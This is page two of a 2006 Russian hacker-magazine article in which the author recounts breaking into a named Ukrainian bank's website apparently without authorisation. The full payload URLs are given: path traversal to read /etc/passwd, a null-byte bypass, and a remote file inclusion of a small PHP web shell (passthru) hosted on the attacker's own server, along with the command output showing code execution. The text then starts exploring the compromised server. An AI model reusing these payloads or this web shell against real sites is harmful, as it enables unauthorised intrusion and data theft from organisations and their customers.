Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #95, НОЯБРЬ 2006 г.

Берем Сбербанк

Стройков "R0id" Леонид

Хакер, номер #095, стр. 095-086-2


КОД

http://www.savebank.com.ua/page.php?page=indcreditinfo&lang=rus

По-видимому, скрипт page.php подключал файлы, находящиеся на сервере, и, возможно, был подвержен инклуду. Недолго думая, я изменил значение параметра page в адресной строке и нажал enter:

КОД

http://www.savebank.com.ua/page.php?page=../../../../../../../../etc/passwd&lang=rus

Но меня ждал облом - скрипт вернул пустую страницу. Вероятно, программеры просто решили пошутить, указав распространенное название переменной. И тут я внезапно вспомнил про 0-байт. Бага была старая, она позволяла отбрасывать расширение при инклуде файлов. Вряд ли мне это могло помочь, но попробовать стоило. Придвинув клавиатуру, я добавил к passwd шестнадцатеричное значение 0-байта (%00) и изменил запрос:

КОД

http://www.savebank.com.ua/page.php?page=../../../../../../../../etc/passwd%00&lang=rus

Каково же было мое удивление, когда вместо чистой страницы я увидел содержимое /etc/passwd.

Значит, скрипт page.php инклудил файлы с определенным расширением. Я почувствовал, как на лбу проступают капли пота, вот уж чего действительно не ожидал, так это встретить старую багу на банковском ресурсе. Но нужно было двигаться дальше. Локальный инклуд не давал простора для действий, и меня мало прельщало занятие в виде «слепого» поиска конфигов по всему серверу. Поэтому было решено проверить наличие удаленного инклуда. Я создал файлик sh.txt, в котором вбил три заветных строки:

КОД

<?

passthru($cmd);

?>

Затем, я залил sh.txt к себе на сервер и изменил вид адресной строки:

КОД

http://www.savebank.com.ua/page.php?page=http://мой_сервер.com/sh.txt%00&cmd=id&lang=rus

Обновив страницу, я прочитал ответ сервера:

КОД

uid=80(www) gid=80(www) groups=80(www)

Это означало только одно - я мог выполнять произвольные команды. Сказать, что я был обрадован, - не сказать ничего. Состояние эйфории охватило меня с ног до головы. Подумать только, я находился внутри сервера, на котором хостился банковский сайт!

Взгляд изнутри

Наконец, собравшись с мыслями, я стал осматриваться в системе. На Украине уже наступило утро, и нужно было торопиться. Выяснилось, что на сервере крутилась FreeBSD с ядром версии 6.0, под которое у меня, увы, не было сплойта. Кроме того, анализ каталога /home показал, что моих прав хватало для просмотра всех пользовательских каталогов. Но, вспомнив про свою цель, я вернулся к банковскому ресурсу. Для начала я решил просмотреть корень веб-каталога. Выполнив команду ls -la, я начал изучать содержимое директории:

Назад на стр. 095-086-1  Содержание  Вперед на стр. 095-086-3